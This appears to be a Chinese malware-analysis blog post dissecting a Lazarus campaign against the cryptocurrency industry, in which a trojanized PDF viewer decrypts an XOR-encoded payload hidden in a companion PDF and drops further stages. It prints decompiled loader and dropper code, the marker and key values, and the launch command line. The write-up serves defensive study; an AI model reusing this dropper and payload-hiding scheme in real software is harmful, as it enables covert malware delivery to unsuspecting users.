概述
2021年9月份,Lazurs被捕获到对加密货币行业进行社工攻击。攻击者通过即时聊天软件和目标沟通,并发送一个开源PDF查看软件Secure PDF Viewer.exe和一个PDF查看文件Android Hardware Wallet.pdf。单独的Secure PDF Viewer.exe无恶意行为,Android Hardware Wallet.pdf打开时,会显示
从而诱导用户使用Secure PDF Viewer.exe打开。当使用Secure PDF Viewer.exe打开Android Hardware Wallet.pdf时,会解密并加载其中的payload,释放恶意文件,执行恶意行为。
分析过程
Secure PDF Viewer.exe
通过GetOpenFileNameW交叉引用找到打开文件部分分析。
if ( GetOpenFileNameW(&v82) )
{
v57 = &v82.lpstrFile[v82.nFileOffset];
v124 = 0;
memset(v125, 0, sizeof(v125));
Buffer = 0;
memset(v127, 0, sizeof(v127));
if ( (unsigned int)sub_140015EE0(v57) == 2 )
{
GetTempPathW(0x104u, &Buffer);
wsprintfW(&v124, L"%s\%s", &Buffer, v57);
}
else
{
v58 = v82.lpstrFile;
v59 = (char *)&v124 - (char *)v82.lpstrFile;
do
{
v60 = *v58++;
*(LPWSTR)((char *)v58 + v59 - 2) = v60;
}
while ( v60 );
}
//...
查看sub_140015EE0
if ( *(_DWORD *)&fileContent[fileLen - 4] != 0x78563412 )
return 0i64;
v9 = Str;
v10 = &fileContent[fileLen - 524];
v11 = 4i64;
do
{
v12 = *(_OWORD *)v10;
v9 += 64;
v10 += 128;
*((_OWORD *)v9 - 8) = v12;
*((_OWORD *)v9 - 7) = *((_OWORD *)v10 - 7);
*((_OWORD *)v9 - 6) = *((_OWORD *)v10 - 6);
*((_OWORD *)v9 - 5) = *((_OWORD *)v10 - 5);
*((_OWORD *)v9 - 4) = *((_OWORD *)v10 - 4);
*((_OWORD *)v9 - 3) = *((_OWORD *)v10 - 3);
*((_OWORD *)v9 - 2) = *((_OWORD *)v10 - 2);
*((_OWORD *)v9 - 1) = *((_OWORD *)v10 - 1);
--v11;
}
while(v11);
v13 = _mm_load_si128((const __m128i *)&xmmword_140541B50);
*(_QWORD *)v9 = *(_QWORD *)v10;
判断文件是否以0x78563412结尾,恶意PDF恰好是这个特征 然后赋值。另外可执行文件和PDF文件需要在同一文件夹才会执行。
然后复制520个字节到缓冲区,执行以下解密动作
v14 = 0;
v15 = 0i64;
do
{
v14 += 16;
*(__m128i *)((char *)Str + v15) = _mm_xor_si128(_mm_loadu_si128((const __m128i *)((char *)Str + v15)), v13);
v15 = v14;
}
while ( (unsigned __int64)v14 < 0x200 );
if ( (unsigned __int64)v14 < 0x208 )
{
v16 = (char *)Str + v14;
do
{
*v16 ^= 0xE4u;
++v14;
++v16;
}
while ( (unsigned __int64)v14 < 0x208 );
}
即每一个字节异或0xE4。解密结果为
CAST_decrypt|c39NEKJGxb6y7Bbt|0422
除此之外还有若干0
接下来的代码提取了三个参数
v17 = wcschr(Str, '|');
if ( !v17 )
{
do
{
v18 = *(wchar_t *)((char *)Str + v1);
v1 += 2i64;
}
while ( v18 );
return 1i64;
}
wcsncpy(&arg1, Str, v17 - Str);
*(&arg1 + v17 - Str) = 0;
v19 = v17 + 1;
if ( !v19 )
return 1i64;
v20 = wcschr(v19, 0x7Cu);
v21 = v20;
if ( !v20 )
{
v22 = (char *)((char *)&arg2 - (char *)v19);
do
{
v23 = *v19++;
*(_WORD *)&v22[(_QWORD)v19 - 2] = v23;
}
while ( v23 );
return 1i64;
}
v24 = v20 - v19;
wcsncpy(&arg2, v19, v24);
*(&arg2 + v24) = 0;
v25 = (char *)(v21 + 1);
if ( v21 == (wchar_t *)-2i64 )
return 1i64;
v26 = wcschr(v21 + 1, 0x7Cu);
if ( v26 )
{
v29 = ((char *)v26 - v25) >> 1;
wcsncpy(&arg3, v21 + 1, v29);
*(&arg3 + v29) = 0;
}
else
{
v27 = (char *)((char *)&arg3 - v25);
do
{
v28 = *(_WORD *)v25;
v25 += 2;
*(_WORD *)&v27[(_QWORD)v25 - 2] = v28;
}
while ( v28 );
}
获取另一部分payload大小并分配空间,将payload移动到临时空间
v30 = *(unsigned int *)&fileContent[fileLen_1 - 528];
v31 = v30;
v32 = (char *)LocalAlloc(0x40u, (unsigned int)v30);
memset(v32, 0, (unsigned int)v30);
v58 = &fileContent[fileLen_1 - v30];
memmove(v32, v58 - 528, (unsigned int)v30);
解密
if ( (_DWORD)v30 )
{
if ( (unsigned int)v30 >= 0x10 )
{
do
{
v34 = v33;
v33 += 16;
*(__m128i *)&v32[v34] = _mm_xor_si128(_mm_loadu_si128((const __m128i *)&v32[v34]), v13);
}
while ( v33 < (unsigned __int64)((unsigned int)v30 - (v30 & 0xF)) );
}
if ( v33 < (unsigned int)v30 )
{
v35 = &v32[v33];
v36 = (unsigned int)(v30 - v33);
do
{
*v35++ ^= 0xE4u;
--v36;
}
while ( v36 );
}
}
将文件写入
GetTempPathW(0x104u, &Buffer);
wsprintfW(&Buffer, L"%s\%s", &Buffer, filename1);
DeleteFileW(&Buffer);
v37 = CreateFileW(&Buffer, 0x40000000u, 4u, 0i64, 2u, 0x80u, 0i64);
WriteFile(v37, v32, v30, &NumberOfBytesWritten, 0i64);
CloseHandle(v37);
根据文件头得知,这里释放了一个诱饵PDF。
计算文件长度并解密文件
elf_len = *((unsigned int *)v58 - 133);
v39 = LocalAlloc(0x40u, elf_len);
memset(v39, 0, (unsigned int)elf_len);
memmove(v39, &fileContent[fileLen_1 - elf_len - pdf_len - 532], (unsigned int)elf_len);
v40 = 0;
if ( (_DWORD)elf_len )
{
if ( (unsigned int)elf_len >= 0x10 )
{
do
{
v41 = v40;
v40 += 16;
*(__m128i *)((char *)v39 + v41) = _mm_xor_si128(_mm_loadu_si128((const __m128i *)((char *)v39 + v41)), v13);
}
while ( v40 < (unsigned int)elf_len - (elf_len & 0xF) );
}
if ( v40 < (unsigned int)elf_len )
{
v42 = &v39[v40 / 2u];
v43 = (unsigned int)(elf_len - v40);
do
{
*v42++ ^= 0xE4u;
--v43;
}
while ( v43 );
}
}
if ( *v39 == 'ZM' )
v44 = (_QWORD *)sub_14000C510(v54, v39, v39);
else
v44 = 0i64;
解密出来的文件头为MZ,可执行文件
对sub_14000C510分析,发现是解析PE头,得到NT_OPTIONAL_HEADER
结合下面这段代码,知道是寻找arg1的参数
while ( stricmp(&arg1_1, (const char *)(v48 + *v50)) )
{
LODWORD(v1) = v1 + 1;
++v50;
++v51;
if ( (unsigned int)v1 >= v49[6] )
return 1i64;
}
分析释放出来的dll,得到
while ( result );
if ( !v8 )
{
result = 0;
if ( strlen(a3) == 4 )
{
CreateDirectoryA("C:\ProgramData\WindowsUpdate", 0i64);
sprintf(&CommandLine, Format, FileName, v15, v17, a3);
sub_1800016D0(&CommandLine);
sub_180001180(v14, v49, v49);
sub_1800013E0(v14, &unk_18000F500, &unk_18000F500, 110080i64);
v9 = CreateFileA(FileName, 0x40000000u, 2u, 0i64, 2u, 0x80u, 0i64);
v10 = v9;
if ( v9 != (HANDLE)-1i64 && WriteFile(v9, &unk_18000F500, 0x1AE00u, &NumberOfBytesWritten, 0i64) )
CloseHandle(v10);
result = CreateProcessA(
0i64,
&CommandLine,
0i64,
0i64,
0,
0x8000000u,
0i64,
0i64,
&StartupInfo,
&ProcessInformation);
if ( result )
{
Sleep(0x64u);
result = DeleteFileA(a1);
}
}
}
return result;
这里创建了一个进程
继续分析原EXE文件
将上面的参数转为bytes形式
do
++v45;
while ( *(&arg1 + v45) );
WideCharToMultiByte(0, 0x200u, &arg1, -1, &arg1_1, v45, 0i64, 0i64);
v46 = -1i64;
do
++v46;
while ( *(&arg2 + v46) );
WideCharToMultiByte(0, 0x200u, &arg2, -1, &arg2_1, v46, 0i64, 0i64);
v47 = -1i64;
do
++v47;
while ( *(&arg3 + v47) );
WideCharToMultiByte(0, 0x200u, &arg3, -1, &arg3_1, v47, 0i64, 0i64);
下面调用了一个dll,调用关系比较复杂,通过调试得到一个C:ProgramDataWindowsUpdateMSCache.cpl
文件。
通过ProcessHacker拿到命令行
C:\ProgramData\WindowsUpdate\MSCache.cpl,CAST_encrypt YV98lZjU0x4I55Ci 0422
第二阶段分析
使用IDA打开,结合对原可执行文件中sub_14000C510的分析,得知调用了CAST_encryptW
WideCharToMultiByte(0, 0x200u, &WideCharStr, -1, &MultiByteStr, -(int)v12 - 2, 0i64, 0i64);
sub_1800038E0((unsigned __int8 *)Name);
if ( !strncmp(Name, &MultiByteStr, 0x10ui64) )// 验证命令行参数
{
CreateMutexA(0i64, 0, Name);
if ( GetLastError() == 183 )
ExitProcess(0);
strcpy((char *)v24, "tav!}C.mLq?d8a^$hCn/_A6US/5%#<=j");
decrypt1((__int64)v18, v24, (int *)v24);
decrypt2((__int64)v18, (__int64)&unk_1800104E0, (__int64)&unk_1800104E0, 0xB410ui64);
v17[0] = 0x708A0;
v15 = LocalAlloc(0x40u, 0x708A0ui64);
sub_180001FE0((__int64)v15, v17);
((void (__fastcall *)(void *))sub_180001A30)(v15);
FreeLibraryAndExitThread(hLibModule, 0);
}
使用火绒剑分析,监听到网络通信。所以在网络通信API下断点,找到第三阶段payload。
进行了http通信和获取命令,目前相关目录已被删除,只剩windows服务器空壳。
总结
每次分析都可以学到好多东西,虽然总是出现卡壳的情况,但是经过搜索、各种尝试终于解决了问题,还是蛮有成就感的。
这种攻击方式非常巧妙,可以很容易地绕过安全软件等,因为单独的一个软件、一个文档都不是恶意的,单独的一个payload也没办法解密。只有两个文件在同一个电脑上,并且有人用软件打开PDF文档,攻击才会进行。因此应该培养人的信息安全意识,不随意打开未知文件和软件。
参考资料
[1] https://paper.seebug.org/1719/
[2] https://s.threatbook.cn/report/file/0c8c72dcb9adc7979dda6359c7c798811fe693aa963686f03ba3dc92d982c5f0/?sign=history&env=win7_sp1_enx64_office2013
[3] ]198412b/?sign=history&env=win7_sp1_enx86_office2013
[4] https://docs.microsoft.com/en-us/windows/win32/api/commdlg/nf-commdlg-getopenfilenamew
[5] https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-localalloc
end
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新